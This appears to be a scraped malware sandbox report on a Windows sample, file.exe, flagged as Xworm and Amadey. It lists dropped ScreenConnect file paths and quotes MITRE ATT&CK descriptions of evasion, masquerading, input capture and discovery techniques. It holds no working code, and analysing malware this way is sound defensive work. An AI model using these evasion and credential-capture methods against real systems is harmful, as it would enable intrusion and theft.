Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\62bf7b.rbs

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\Client.Override.en-US.resources

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\Client.Override.resources

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\Client.en-US.resources

C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\Client.resources

Windows Analysis Report
file.exe

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre